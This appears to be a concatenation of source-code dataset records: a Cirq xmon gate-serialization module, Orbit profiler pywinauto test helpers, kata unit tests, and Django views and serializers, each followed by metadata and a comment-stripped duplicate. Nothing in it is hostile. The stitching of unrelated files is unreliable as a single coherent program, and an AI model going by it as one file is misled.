# Copyright 2018 The Cirq Developers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import json from typing import (Any, cast, Dict, Iterable, Optional, Sequence, Tuple, TYPE_CHECKING) import numpy as np import sympy from cirq import devices, ops, protocols, value from cirq.schedules import Schedule, ScheduledOperation from cirq.value import Timestamp if TYPE_CHECKING: import cirq from cirq.google import xmon_device def _load_json_bool(b: Any): """Converts a json field to bool. If already a bool, pass through.""" if isinstance(b, bool): return b return json.loads(b) def gate_to_proto_dict(gate: 'cirq.Gate', qubits: Tuple['cirq.Qid', ...]) -> Dict: if isinstance(gate, ops.MeasurementGate): return _measure_to_proto_dict(gate, qubits) if isinstance(gate, ops.XPowGate): if len(qubits) != 1: # coverage: ignore raise ValueError('Wrong number of qubits.') return _x_to_proto_dict(gate, qubits[0]) if isinstance(gate, ops.YPowGate): if len(qubits) != 1: # coverage: ignore raise ValueError('Wrong number of qubits.') return _y_to_proto_dict(gate, qubits[0]) if isinstance(gate, ops.PhasedXPowGate): if len(qubits) != 1: # coverage: ignore raise ValueError('Wrong number of qubits.') return _phased_x_to_proto_dict(gate, qubits[0]) if isinstance(gate, ops.ZPowGate): if len(qubits) != 1: # coverage: ignore raise ValueError('Wrong number of qubits.') return _z_to_proto_dict(gate, qubits[0]) if isinstance(gate, ops.CZPowGate): if len(qubits) != 2: # coverage: ignore raise ValueError('Wrong number of qubits.') return _cz_to_proto_dict(gate, *qubits) raise ValueError("Don't know how to serialize this gate: {!r}".format(gate)) def _x_to_proto_dict(gate: 'cirq.XPowGate', q: 'cirq.Qid') -> Dict: exp_w = { 'target': cast(devices.GridQubit, q).to_proto_dict(), 'axis_half_turns': _parameterized_value_to_proto_dict(0), 'half_turns': _parameterized_value_to_proto_dict(gate.exponent) } return {'exp_w': exp_w} def _y_to_proto_dict(gate: 'cirq.YPowGate', q: 'cirq.Qid') -> Dict: exp_w = { 'target': cast(devices.GridQubit, q).to_proto_dict(), 'axis_half_turns': _parameterized_value_to_proto_dict(0.5), 'half_turns': _parameterized_value_to_proto_dict(gate.exponent) } return {'exp_w': exp_w} def _phased_x_to_proto_dict(gate: 'cirq.PhasedXPowGate', q: 'cirq.Qid') -> Dict: exp_w = { 'target': cast(devices.GridQubit, q).to_proto_dict(), 'axis_half_turns': _parameterized_value_to_proto_dict(gate.phase_exponent), 'half_turns': _parameterized_value_to_proto_dict(gate.exponent) } return {'exp_w': exp_w} def _z_to_proto_dict(gate: 'cirq.ZPowGate', q: 'cirq.Qid') -> Dict: exp_z = { 'target': cast(devices.GridQubit, q).to_proto_dict(), 'half_turns': _parameterized_value_to_proto_dict(gate.exponent), } return {'exp_z': exp_z} def _cz_to_proto_dict(gate: 'cirq.CZPowGate', p: 'cirq.Qid', q: 'cirq.Qid') -> Dict: exp_11 = { 'target1': cast(devices.GridQubit, p).to_proto_dict(), 'target2': cast(devices.GridQubit, q).to_proto_dict(), 'half_turns': _parameterized_value_to_proto_dict(gate.exponent) } return {'exp_11': exp_11} def _measure_to_proto_dict(gate: 'cirq.MeasurementGate', qubits: Sequence['cirq.Qid']): if len(qubits) == 0: raise ValueError('Measurement gate on no qubits.') invert_mask = None if gate.invert_mask: invert_mask = gate.invert_mask + (False,) * (gate.num_qubits() - len(gate.invert_mask)) if invert_mask and len(invert_mask) != len(qubits): raise ValueError('Measurement gate had invert mask of length ' 'different than number of qubits it acts on.') measurement = { 'targets': [cast(devices.GridQubit, q).to_proto_dict() for q in qubits], 'key': protocols.measurement_key(gate), } if invert_mask: measurement['invert_mask'] = [json.dumps(x) for x in invert_mask] return {'measurement': measurement} def schedule_to_proto_dicts(schedule: Schedule) -> Iterable[Dict]: """Convert a schedule into an iterable of proto dictionaries. Args: schedule: The schedule to convert to a proto dict. Must contain only gates that can be cast to xmon gates. Yields: A proto dictionary corresponding to an Operation proto. """ last_time_picos: Optional[int] = None for so in schedule.scheduled_operations: op = gate_to_proto_dict( cast(ops.GateOperation, so.operation).gate, so.operation.qubits) time_picos = so.time.raw_picos() if last_time_picos is None: op['incremental_delay_picoseconds'] = time_picos else: op['incremental_delay_picoseconds'] = time_picos - last_time_picos last_time_picos = time_picos yield op def schedule_from_proto_dicts( device: 'xmon_device.XmonDevice', ops: Iterable[Dict], ) -> Schedule: """Convert proto dictionaries into a Schedule for the given device.""" scheduled_ops = [] last_time_picos = 0 for op in ops: delay_picos = 0 if 'incremental_delay_picoseconds' in op: delay_picos = op['incremental_delay_picoseconds'] time_picos = last_time_picos + delay_picos last_time_picos = time_picos xmon_op = xmon_op_from_proto_dict(op) scheduled_ops.append( ScheduledOperation.op_at_on( operation=xmon_op, time=Timestamp(picos=time_picos), device=device, )) return Schedule(device, scheduled_ops) def pack_results(measurements: Sequence[Tuple[str, np.ndarray]]) -> bytes: """Pack measurement results into a byte string. Args: measurements: A sequence of tuples, one for each measurement, consisting of a string key and an array of boolean data. The data should be a 2-D array indexed by (repetition, qubit_index). All data for all measurements must have the same number of repetitions. Returns: Packed bytes, as described in the unpack_results docstring below. Raises: ValueError if the measurement data do not have the compatible shapes. """ if not measurements: return b'' shapes = [(key, np.shape(data)) for key, data in measurements] if not all(len(shape) == 2 for _, shape in shapes): raise ValueError("Expected 2-D data: shapes={}".format(shapes)) reps = shapes[0][1][0] if not all(shape[0] == reps for _, shape in shapes): raise ValueError( "Expected same reps for all keys: shapes={}".format(shapes)) bits = np.hstack([np.asarray(data, dtype=bool) for _, data in measurements]) bits = bits.reshape(-1) # Pad length to multiple of 8 if needed. remainder = len(bits) % 8 if remainder: bits = np.pad(bits, (0, 8 - remainder), 'constant') # Pack in little-endian bit order. bits = bits.reshape((-1, 8))[:, ::-1] byte_arr = np.packbits(bits, axis=1).reshape(-1) return byte_arr.tobytes() def unpack_results(data: bytes, repetitions: int, key_sizes: Sequence[Tuple[str, int]] ) -> Dict[str, np.ndarray]: """Unpack data from a bitstring into individual measurement results. Args: data: Packed measurement results, in the form <rep0><rep1>... where each repetition is <key0_0>..<key0_{size0-1}><key1_0>... with bits packed in little-endian order in each byte. repetitions: number of repetitions. key_sizes: Keys and sizes of the measurements in the data. Returns: Dict mapping measurement key to a 2D array of boolean results. Each array has shape (repetitions, size) with size for that measurement. """ bits_per_rep = sum(size for _, size in key_sizes) total_bits = repetitions * bits_per_rep byte_arr = np.frombuffer(data, dtype='uint8').reshape((len(data), 1)) bits = np.unpackbits(byte_arr, axis=1)[:, ::-1].reshape(-1).astype(bool) bits = bits[:total_bits].reshape((repetitions, bits_per_rep)) results = {} ofs = 0 for key, size in key_sizes: results[key] = bits[:, ofs:ofs + size] ofs += size return results def is_native_xmon_op(op: 'cirq.Operation') -> bool: """Check if the gate corresponding to an operation is a native xmon gate. Args: op: Input operation. Returns: True if the operation is native to the xmon, false otherwise. """ return (isinstance(op, ops.GateOperation) and is_native_xmon_gate(op.gate)) def is_native_xmon_gate(gate: 'cirq.Gate') -> bool: """Check if a gate is a native xmon gate. Args: gate: Input gate. Returns: True if the gate is native to the xmon, false otherwise. """ return isinstance(gate, (ops.CZPowGate, ops.MeasurementGate, ops.PhasedXPowGate, ops.XPowGate, ops.YPowGate, ops.ZPowGate)) def xmon_op_from_proto_dict(proto_dict: Dict) -> 'cirq.Operation': """Convert the proto dictionary to the corresponding operation. See protos in api/google/v1 for specification of the protos. Args: proto_dict: Dictionary representing the proto. Keys are always strings, but values may be types correspond to a raw proto type or another dictionary (for messages). Returns: The operation. Raises: ValueError if the dictionary does not contain required values corresponding to the proto. """ def raise_missing_fields(gate_name: str): raise ValueError('{} missing required fields: {}'.format( gate_name, proto_dict)) param = _parameterized_value_from_proto_dict qubit = devices.GridQubit.from_proto_dict if 'exp_w' in proto_dict: exp_w = proto_dict['exp_w'] if ('half_turns' not in exp_w or 'axis_half_turns' not in exp_w or 'target' not in exp_w): raise_missing_fields('ExpW') return ops.PhasedXPowGate( exponent=param(exp_w['half_turns']), phase_exponent=param(exp_w['axis_half_turns']), ).on(qubit(exp_w['target'])) if 'exp_z' in proto_dict: exp_z = proto_dict['exp_z'] if 'half_turns' not in exp_z or 'target' not in exp_z: raise_missing_fields('ExpZ') return ops.Z(qubit(exp_z['target']))**param(exp_z['half_turns']) if 'exp_11' in proto_dict: exp_11 = proto_dict['exp_11'] if ('half_turns' not in exp_11 or 'target1' not in exp_11 or 'target2' not in exp_11): raise_missing_fields('Exp11') return ops.CZ(qubit(exp_11['target1']), qubit(exp_11['target2']))**param(exp_11['half_turns']) if 'measurement' in proto_dict: meas = proto_dict['measurement'] invert_mask = cast(Tuple[Any, ...], ()) if 'invert_mask' in meas: invert_mask = tuple(_load_json_bool(x) for x in meas['invert_mask']) if 'key' not in meas or 'targets' not in meas: raise_missing_fields('Measurement') return ops.MeasurementGate( num_qubits=len(meas['targets']), key=meas['key'], invert_mask=invert_mask).on(*[qubit(q) for q in meas['targets']]) raise ValueError('invalid operation: {}'.format(proto_dict)) def _parameterized_value_from_proto_dict(message: Dict) -> value.TParamVal: parameter_key = message.get('parameter_key', None) if parameter_key: return sympy.Symbol(parameter_key) if 'raw' in message: return message['raw'] raise ValueError('No value specified for parameterized float. ' 'Expected "raw" or "parameter_key" to be set. ' 'message: {!r}'.format(message)) def _parameterized_value_to_proto_dict(param: value.TParamVal) -> Dict: out = {} # type: Dict if isinstance(param, sympy.Symbol): out['parameter_key'] = str(param.free_symbols.pop()) else: out['raw'] = float(param) return out
35.797814
80
0.641429
import json from typing import (Any, cast, Dict, Iterable, Optional, Sequence, Tuple, TYPE_CHECKING) import numpy as np import sympy from cirq import devices, ops, protocols, value from cirq.schedules import Schedule, ScheduledOperation from cirq.value import Timestamp if TYPE_CHECKING: import cirq from cirq.google import xmon_device def _load_json_bool(b: Any): if isinstance(b, bool): return b return json.loads(b) def gate_to_proto_dict(gate: 'cirq.Gate', qubits: Tuple['cirq.Qid', ...]) -> Dict: if isinstance(gate, ops.MeasurementGate): return _measure_to_proto_dict(gate, qubits) if isinstance(gate, ops.XPowGate): if len(qubits) != 1: raise ValueError('Wrong number of qubits.') return _x_to_proto_dict(gate, qubits[0]) if isinstance(gate, ops.YPowGate): if len(qubits) != 1: raise ValueError('Wrong number of qubits.') return _y_to_proto_dict(gate, qubits[0]) if isinstance(gate, ops.PhasedXPowGate): if len(qubits) != 1: raise ValueError('Wrong number of qubits.') return _phased_x_to_proto_dict(gate, qubits[0]) if isinstance(gate, ops.ZPowGate): if len(qubits) != 1: raise ValueError('Wrong number of qubits.') return _z_to_proto_dict(gate, qubits[0]) if isinstance(gate, ops.CZPowGate): if len(qubits) != 2: raise ValueError('Wrong number of qubits.') return _cz_to_proto_dict(gate, *qubits) raise ValueError("Don't know how to serialize this gate: {!r}".format(gate)) def _x_to_proto_dict(gate: 'cirq.XPowGate', q: 'cirq.Qid') -> Dict: exp_w = { 'target': cast(devices.GridQubit, q).to_proto_dict(), 'axis_half_turns': _parameterized_value_to_proto_dict(0), 'half_turns': _parameterized_value_to_proto_dict(gate.exponent) } return {'exp_w': exp_w} def _y_to_proto_dict(gate: 'cirq.YPowGate', q: 'cirq.Qid') -> Dict: exp_w = { 'target': cast(devices.GridQubit, q).to_proto_dict(), 'axis_half_turns': _parameterized_value_to_proto_dict(0.5), 'half_turns': _parameterized_value_to_proto_dict(gate.exponent) } return {'exp_w': exp_w} def _phased_x_to_proto_dict(gate: 'cirq.PhasedXPowGate', q: 'cirq.Qid') -> Dict: exp_w = { 'target': cast(devices.GridQubit, q).to_proto_dict(), 'axis_half_turns': _parameterized_value_to_proto_dict(gate.phase_exponent), 'half_turns': _parameterized_value_to_proto_dict(gate.exponent) } return {'exp_w': exp_w} def _z_to_proto_dict(gate: 'cirq.ZPowGate', q: 'cirq.Qid') -> Dict: exp_z = { 'target': cast(devices.GridQubit, q).to_proto_dict(), 'half_turns': _parameterized_value_to_proto_dict(gate.exponent), } return {'exp_z': exp_z} def _cz_to_proto_dict(gate: 'cirq.CZPowGate', p: 'cirq.Qid', q: 'cirq.Qid') -> Dict: exp_11 = { 'target1': cast(devices.GridQubit, p).to_proto_dict(), 'target2': cast(devices.GridQubit, q).to_proto_dict(), 'half_turns': _parameterized_value_to_proto_dict(gate.exponent) } return {'exp_11': exp_11} def _measure_to_proto_dict(gate: 'cirq.MeasurementGate', qubits: Sequence['cirq.Qid']): if len(qubits) == 0: raise ValueError('Measurement gate on no qubits.') invert_mask = None if gate.invert_mask: invert_mask = gate.invert_mask + (False,) * (gate.num_qubits() - len(gate.invert_mask)) if invert_mask and len(invert_mask) != len(qubits): raise ValueError('Measurement gate had invert mask of length ' 'different than number of qubits it acts on.') measurement = { 'targets': [cast(devices.GridQubit, q).to_proto_dict() for q in qubits], 'key': protocols.measurement_key(gate), } if invert_mask: measurement['invert_mask'] = [json.dumps(x) for x in invert_mask] return {'measurement': measurement} def schedule_to_proto_dicts(schedule: Schedule) -> Iterable[Dict]: last_time_picos: Optional[int] = None for so in schedule.scheduled_operations: op = gate_to_proto_dict( cast(ops.GateOperation, so.operation).gate, so.operation.qubits) time_picos = so.time.raw_picos() if last_time_picos is None: op['incremental_delay_picoseconds'] = time_picos else: op['incremental_delay_picoseconds'] = time_picos - last_time_picos last_time_picos = time_picos yield op def schedule_from_proto_dicts( device: 'xmon_device.XmonDevice', ops: Iterable[Dict], ) -> Schedule: scheduled_ops = [] last_time_picos = 0 for op in ops: delay_picos = 0 if 'incremental_delay_picoseconds' in op: delay_picos = op['incremental_delay_picoseconds'] time_picos = last_time_picos + delay_picos last_time_picos = time_picos xmon_op = xmon_op_from_proto_dict(op) scheduled_ops.append( ScheduledOperation.op_at_on( operation=xmon_op, time=Timestamp(picos=time_picos), device=device, )) return Schedule(device, scheduled_ops) def pack_results(measurements: Sequence[Tuple[str, np.ndarray]]) -> bytes: if not measurements: return b'' shapes = [(key, np.shape(data)) for key, data in measurements] if not all(len(shape) == 2 for _, shape in shapes): raise ValueError("Expected 2-D data: shapes={}".format(shapes)) reps = shapes[0][1][0] if not all(shape[0] == reps for _, shape in shapes): raise ValueError( "Expected same reps for all keys: shapes={}".format(shapes)) bits = np.hstack([np.asarray(data, dtype=bool) for _, data in measurements]) bits = bits.reshape(-1) # Pad length to multiple of 8 if needed. remainder = len(bits) % 8 if remainder: bits = np.pad(bits, (0, 8 - remainder), 'constant') # Pack in little-endian bit order. bits = bits.reshape((-1, 8))[:, ::-1] byte_arr = np.packbits(bits, axis=1).reshape(-1) return byte_arr.tobytes() def unpack_results(data: bytes, repetitions: int, key_sizes: Sequence[Tuple[str, int]] ) -> Dict[str, np.ndarray]: bits_per_rep = sum(size for _, size in key_sizes) total_bits = repetitions * bits_per_rep byte_arr = np.frombuffer(data, dtype='uint8').reshape((len(data), 1)) bits = np.unpackbits(byte_arr, axis=1)[:, ::-1].reshape(-1).astype(bool) bits = bits[:total_bits].reshape((repetitions, bits_per_rep)) results = {} ofs = 0 for key, size in key_sizes: results[key] = bits[:, ofs:ofs + size] ofs += size return results def is_native_xmon_op(op: 'cirq.Operation') -> bool: return (isinstance(op, ops.GateOperation) and is_native_xmon_gate(op.gate)) def is_native_xmon_gate(gate: 'cirq.Gate') -> bool: return isinstance(gate, (ops.CZPowGate, ops.MeasurementGate, ops.PhasedXPowGate, ops.XPowGate, ops.YPowGate, ops.ZPowGate)) def xmon_op_from_proto_dict(proto_dict: Dict) -> 'cirq.Operation': def raise_missing_fields(gate_name: str): raise ValueError('{} missing required fields: {}'.format( gate_name, proto_dict)) param = _parameterized_value_from_proto_dict qubit = devices.GridQubit.from_proto_dict if 'exp_w' in proto_dict: exp_w = proto_dict['exp_w'] if ('half_turns' not in exp_w or 'axis_half_turns' not in exp_w or 'target' not in exp_w): raise_missing_fields('ExpW') return ops.PhasedXPowGate( exponent=param(exp_w['half_turns']), phase_exponent=param(exp_w['axis_half_turns']), ).on(qubit(exp_w['target'])) if 'exp_z' in proto_dict: exp_z = proto_dict['exp_z'] if 'half_turns' not in exp_z or 'target' not in exp_z: raise_missing_fields('ExpZ') return ops.Z(qubit(exp_z['target']))**param(exp_z['half_turns']) if 'exp_11' in proto_dict: exp_11 = proto_dict['exp_11'] if ('half_turns' not in exp_11 or 'target1' not in exp_11 or 'target2' not in exp_11): raise_missing_fields('Exp11') return ops.CZ(qubit(exp_11['target1']), qubit(exp_11['target2']))**param(exp_11['half_turns']) if 'measurement' in proto_dict: meas = proto_dict['measurement'] invert_mask = cast(Tuple[Any, ...], ()) if 'invert_mask' in meas: invert_mask = tuple(_load_json_bool(x) for x in meas['invert_mask']) if 'key' not in meas or 'targets' not in meas: raise_missing_fields('Measurement') return ops.MeasurementGate( num_qubits=len(meas['targets']), key=meas['key'], invert_mask=invert_mask).on(*[qubit(q) for q in meas['targets']]) raise ValueError('invalid operation: {}'.format(proto_dict)) def _parameterized_value_from_proto_dict(message: Dict) -> value.TParamVal: parameter_key = message.get('parameter_key', None) if parameter_key: return sympy.Symbol(parameter_key) if 'raw' in message: return message['raw'] raise ValueError('No value specified for parameterized float. ' 'Expected "raw" or "parameter_key" to be set. ' 'message: {!r}'.format(message)) def _parameterized_value_to_proto_dict(param: value.TParamVal) -> Dict: out = {} # type: Dict if isinstance(param, sympy.Symbol): out['parameter_key'] = str(param.free_symbols.pop()) else: out['raw'] = float(param) return out
true
true
f73d6dc14ef6a43f91508b8146f58328ea5a0e89
5,752
py
Python
contrib/automation_tests/orbit_testing.py
Mu-L/orbit
9a3338d1fda66c4c3723333023dd039acc3c40a0
[ "BSD-2-Clause" ]
1
2021-10-18T03:20:42.000Z
2021-10-18T03:20:42.000Z
contrib/automation_tests/orbit_testing.py
Mu-L/orbit
9a3338d1fda66c4c3723333023dd039acc3c40a0
[ "BSD-2-Clause" ]
3
2022-02-15T02:46:06.000Z
2022-02-28T01:28:39.000Z
contrib/automation_tests/orbit_testing.py
Mu-L/orbit
9a3338d1fda66c4c3723333023dd039acc3c40a0
[ "BSD-2-Clause" ]
1
2021-01-15T22:58:10.000Z
2021-01-15T22:58:10.000Z
""" Copyright (c) 2020 The Orbit Authors. All rights reserved. Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. """ import logging import time import pywinauto from pywinauto.application import Application def wait_for_orbit(): """Waits for Orbit to start up.""" logging.info('Start waiting for Orbit.') while True: try: Application(backend='uia').connect(title_re='orbitprofiler') break except pywinauto.findwindows.ElementNotFoundError: pass logging.info('Connected to Orbit.') def connect_to_gamelet(application): """Connect to the first gamelet in the start dialog. Args: application: pywinauto application object for Orbit. """ logging.info('Start connecting to gamelet.') # Connect to the first (and only) gamelet. dialog = application.window(title_re='orbitprofiler') dialog.set_focus() # DataItem0 contains the name of the first gamelet. dialog.DataItem0.wait('exists', timeout=100) dialog.DataItem0.click_input() dialog.OK.click_input() logging.info('Connected to Gamelet') # Wait until the service is deployed and the main window is opened. # Waiting for the window does not really work since there is a progress dialog # with an identical title popping up in between. So we just sleep. time.sleep(15) def select_process(application, process_search_term): """Types 'process_search_term' into the process search bar and then selects the first process in the tree view. This allows selecting the game process by using an appropriate search term that filters out all other processes. Args: application: pywinauto application object for Orbit. process_search_term: The term to search for among processes. """ logging.info('Start selecting process based on search: %s', process_search_term) main_wnd = application.window(title_re='orbitprofiler', found_index=0) time.sleep(2) main_wnd.ProcessesEdit.type_keys(process_search_term) main_wnd.ProcessesTreeView.DataItem0.wait('exists', timeout=100) main_wnd.ProcessesTreeView.DataItem0.click_input() logging.info('Selected process based on search: %s', process_search_term) time.sleep(5) def load_symbols(application, module_search_term): """Types 'module_search_term' in the modules search bar and then selects the first module in the modules tree view. The allows selecting a modules by using an appropriate search term. Args: application: pywinauto application object for Orbit. module_search_term: The term to search for among modules. """ logging.info('Start loading symbols for module based on search: %s', module_search_term) main_wnd = application.window(title_re='orbitprofiler', found_index=0) time.sleep(2) main_wnd.ModulesEdit.type_keys(module_search_term) main_wnd.ModulesTreeView.DataItem0.wait('exists', timeout=100) main_wnd.ModulesTreeView.DataItem0.click_input(button='right') main_wnd.load_symbols.click_input() logging.info('Loaded symbols for module based on search: %s', module_search_term) time.sleep(5) def hook_function(application, function_search_term): """Types 'function_search_term' in the function search bar and then hooks the first function in the functions tree view. The allows hooking a single function using an appropriate search term. Args: application: pywinauto application object for Orbit. function_search_term: The term to search for among function. """ logging.info('Start hooking function based on search: %s', function_search_term) main_wnd = application.window(title_re='orbitprofiler', found_index=0) time.sleep(2) # There is no properly named control identifier for the function controls, this is # the right one based on trial and error. main_wnd.Edit1.type_keys(function_search_term) main_wnd.TreeView1.DataItem0.wait('exists', timeout=100) main_wnd.TreeView1.DataItem0.click_input(button='right') main_wnd.Hook.click_input() logging.info('Hooked function based on search: %s', function_search_term) time.sleep(5) def focus_on_capture_window(application): """Focuses on the capture window Args: application: pywinauto application object for Orbit. """ main_wnd = application.window(title_re='orbitprofiler', found_index=0) # The capture tab can not be found in the usual way so the focus is set by # clicking on the widget. The x-coordinate for the click is obtained from the # mid_point of the capture tab header, the y-coordinate is taken from the # mid_point of the functions tab on the right. # Obtaining the coordinates is done before clicking on the tab since # pywinauto becomes painfully slow once the tab is visible. click_x = main_wnd.captureTabItem.rectangle().mid_point().x click_y = main_wnd.SessionsTreeView.rectangle().mid_point().y # Change into capture tab. main_wnd.captureTabItem.click_input() logging.info('Changed into capture view') # Focus the capture tab and take a five second capture. main_wnd.click_input(coords=(click_x, click_y)) def capture(application, length): """Takes a capture of given length. Assumes that the capture window is in focus! Args: application: pywinauto application object for Orbit. length: length of the capture (in seconds) """ main_wnd = application.window(title_re='orbitprofiler', found_index=0) main_wnd.type_keys('X') time.sleep(length) main_wnd.type_keys('X') logging.info('Captured for %d seconds', length)
39.129252
89
0.727225
import logging import time import pywinauto from pywinauto.application import Application def wait_for_orbit(): logging.info('Start waiting for Orbit.') while True: try: Application(backend='uia').connect(title_re='orbitprofiler') break except pywinauto.findwindows.ElementNotFoundError: pass logging.info('Connected to Orbit.') def connect_to_gamelet(application): logging.info('Start connecting to gamelet.') dialog = application.window(title_re='orbitprofiler') dialog.set_focus() dialog.DataItem0.wait('exists', timeout=100) dialog.DataItem0.click_input() dialog.OK.click_input() logging.info('Connected to Gamelet') time.sleep(15) def select_process(application, process_search_term): logging.info('Start selecting process based on search: %s', process_search_term) main_wnd = application.window(title_re='orbitprofiler', found_index=0) time.sleep(2) main_wnd.ProcessesEdit.type_keys(process_search_term) main_wnd.ProcessesTreeView.DataItem0.wait('exists', timeout=100) main_wnd.ProcessesTreeView.DataItem0.click_input() logging.info('Selected process based on search: %s', process_search_term) time.sleep(5) def load_symbols(application, module_search_term): logging.info('Start loading symbols for module based on search: %s', module_search_term) main_wnd = application.window(title_re='orbitprofiler', found_index=0) time.sleep(2) main_wnd.ModulesEdit.type_keys(module_search_term) main_wnd.ModulesTreeView.DataItem0.wait('exists', timeout=100) main_wnd.ModulesTreeView.DataItem0.click_input(button='right') main_wnd.load_symbols.click_input() logging.info('Loaded symbols for module based on search: %s', module_search_term) time.sleep(5) def hook_function(application, function_search_term): logging.info('Start hooking function based on search: %s', function_search_term) main_wnd = application.window(title_re='orbitprofiler', found_index=0) time.sleep(2) main_wnd.Edit1.type_keys(function_search_term) main_wnd.TreeView1.DataItem0.wait('exists', timeout=100) main_wnd.TreeView1.DataItem0.click_input(button='right') main_wnd.Hook.click_input() logging.info('Hooked function based on search: %s', function_search_term) time.sleep(5) def focus_on_capture_window(application): main_wnd = application.window(title_re='orbitprofiler', found_index=0) click_x = main_wnd.captureTabItem.rectangle().mid_point().x click_y = main_wnd.SessionsTreeView.rectangle().mid_point().y main_wnd.captureTabItem.click_input() logging.info('Changed into capture view') main_wnd.click_input(coords=(click_x, click_y)) def capture(application, length): main_wnd = application.window(title_re='orbitprofiler', found_index=0) main_wnd.type_keys('X') time.sleep(length) main_wnd.type_keys('X') logging.info('Captured for %d seconds', length)
true
true
f73d6ed15aeadc2bd3889c97cc16df6985d8fb21
525
py
Python
python/kyu-6/find-the-odd-int/test_find_the_odd_int.py
ledwindra/codewars
0552669a69e801cfe5f9a3696a4d98be63a96951
[ "WTFPL" ]
1
2020-11-13T16:55:04.000Z
2020-11-13T16:55:04.000Z
python/kyu-6/find-the-odd-int/test_find_the_odd_int.py
ledwindra/codewars
0552669a69e801cfe5f9a3696a4d98be63a96951
[ "WTFPL" ]
1
2020-01-28T15:48:17.000Z
2020-01-28T15:48:17.000Z
python/kyu-6/find-the-odd-int/test_find_the_odd_int.py
ledwindra/codewars
0552669a69e801cfe5f9a3696a4d98be63a96951
[ "WTFPL" ]
null
null
null
from find_the_odd_int import find_it class TestFindIt: def test_0(self): assert find_it([20,1,-1,2,-2,3,3,5,5,1,2,4,20,4,-1,-2,5]) == 5 def test_1(self): assert find_it([1,1,2,-2,5,2,4,4,-1,-2,5]) == -1 def test_2(self): assert find_it([20,1,1,2,2,3,3,5,5,4,20,4,5]) == 5 def test_3(self): assert find_it([10]) == 10 def test_4(self): assert find_it([1,1,1,1,1,1,10,1,1,1,1]) == 10 def test_5(self): assert find_it([5,4,3,2,1,5,4,3,2,10,10]) == 1
25
70
0.540952
from find_the_odd_int import find_it class TestFindIt: def test_0(self): assert find_it([20,1,-1,2,-2,3,3,5,5,1,2,4,20,4,-1,-2,5]) == 5 def test_1(self): assert find_it([1,1,2,-2,5,2,4,4,-1,-2,5]) == -1 def test_2(self): assert find_it([20,1,1,2,2,3,3,5,5,4,20,4,5]) == 5 def test_3(self): assert find_it([10]) == 10 def test_4(self): assert find_it([1,1,1,1,1,1,10,1,1,1,1]) == 10 def test_5(self): assert find_it([5,4,3,2,1,5,4,3,2,10,10]) == 1
true
true
f73d6f69dd11e8e1810bdaa07fa48776c6dedf82
478
py
Python
posts/views.py
mshRoR/post-api-django
d649ac7974a2960d026fb099cf3b82912c07cbfa
[ "MIT" ]
null
null
null
posts/views.py
mshRoR/post-api-django
d649ac7974a2960d026fb099cf3b82912c07cbfa
[ "MIT" ]
null
null
null
posts/views.py
mshRoR/post-api-django
d649ac7974a2960d026fb099cf3b82912c07cbfa
[ "MIT" ]
1
2020-12-11T09:03:36.000Z
2020-12-11T09:03:36.000Z
# from django.shortcuts import render from rest_framework import generics from .models import Post from .permissions import IsAuthororReadOnly from .serializers import PostSerializer class PostList(generics.ListCreateAPIView): queryset = Post.objects.all() serializer_class = PostSerializer class PostDetail(generics.RetrieveUpdateDestroyAPIView): permission_classes = (IsAuthororReadOnly,) queryset = Post.objects.all() serializer_class = PostSerializer
29.875
56
0.807531
from rest_framework import generics from .models import Post from .permissions import IsAuthororReadOnly from .serializers import PostSerializer class PostList(generics.ListCreateAPIView): queryset = Post.objects.all() serializer_class = PostSerializer class PostDetail(generics.RetrieveUpdateDestroyAPIView): permission_classes = (IsAuthororReadOnly,) queryset = Post.objects.all() serializer_class = PostSerializer
true
true
f73d6fe813b1cedafeaf34aca38601d281b4561f
1,424
py
Python
online_doctor/appointment/serializers.py
zawad2221/online-doctor-server
1ad4f34da0c95a0304527fceebbbbd7d955e294e
[ "MIT" ]
null
null
null
online_doctor/appointment/serializers.py
zawad2221/online-doctor-server
1ad4f34da0c95a0304527fceebbbbd7d955e294e
[ "MIT" ]
null
null
null
online_doctor/appointment/serializers.py
zawad2221/online-doctor-server
1ad4f34da0c95a0304527fceebbbbd7d955e294e
[ "MIT" ]
null
null
null
from custom_user.serializers import RelatedFieldAlternative from rest_framework import serializers from .models import Appointment from visiting_schedule.models import VisitingSchedule from patient.models import Patient from visiting_schedule.serializers import VisitingScheduleSerializer from patient.serializers import PatientSerializer class AppointmentSerializer(serializers.ModelSerializer): appointmentVisitingSchedule = RelatedFieldAlternative( queryset=VisitingSchedule.objects.all(), serializer = VisitingScheduleSerializer, source = 'appointmentVisitingScheduleId', ) appointmentPatient = RelatedFieldAlternative( queryset=Patient.objects.all(), serializer = PatientSerializer, source = 'appointmentPatientId' ) patientSymptomNote = serializers.CharField(allow_blank=True,source = 'appointmentPatientSymptomNote') class Meta: model = Appointment fields = [ 'appointmentId', 'appointmentPaymentCredential', 'patientSymptomNote', 'appointmentTime', 'appointmentIsConfirmed', 'appointmentIsCanceled', 'appointmentIsVisited', 'appointmentDate', 'appointmentSerialNumber', 'appointmentVisitingSchedule', 'appointmentPatient', 'appointmentType' ]
37.473684
105
0.691713
from custom_user.serializers import RelatedFieldAlternative from rest_framework import serializers from .models import Appointment from visiting_schedule.models import VisitingSchedule from patient.models import Patient from visiting_schedule.serializers import VisitingScheduleSerializer from patient.serializers import PatientSerializer class AppointmentSerializer(serializers.ModelSerializer): appointmentVisitingSchedule = RelatedFieldAlternative( queryset=VisitingSchedule.objects.all(), serializer = VisitingScheduleSerializer, source = 'appointmentVisitingScheduleId', ) appointmentPatient = RelatedFieldAlternative( queryset=Patient.objects.all(), serializer = PatientSerializer, source = 'appointmentPatientId' ) patientSymptomNote = serializers.CharField(allow_blank=True,source = 'appointmentPatientSymptomNote') class Meta: model = Appointment fields = [ 'appointmentId', 'appointmentPaymentCredential', 'patientSymptomNote', 'appointmentTime', 'appointmentIsConfirmed', 'appointmentIsCanceled', 'appointmentIsVisited', 'appointmentDate', 'appointmentSerialNumber', 'appointmentVisitingSchedule', 'appointmentPatient', 'appointmentType' ]
true
true
f73d700bd81e8e3d2979c18bcdf6a1119812c6e4
3,484
py
Python
main.py
Pop-DJ/Plant_data_base_app
7697bb7595bf008cf3b34209aa4fe2ee385b58f7
[ "MIT" ]
null
null
null
main.py
Pop-DJ/Plant_data_base_app
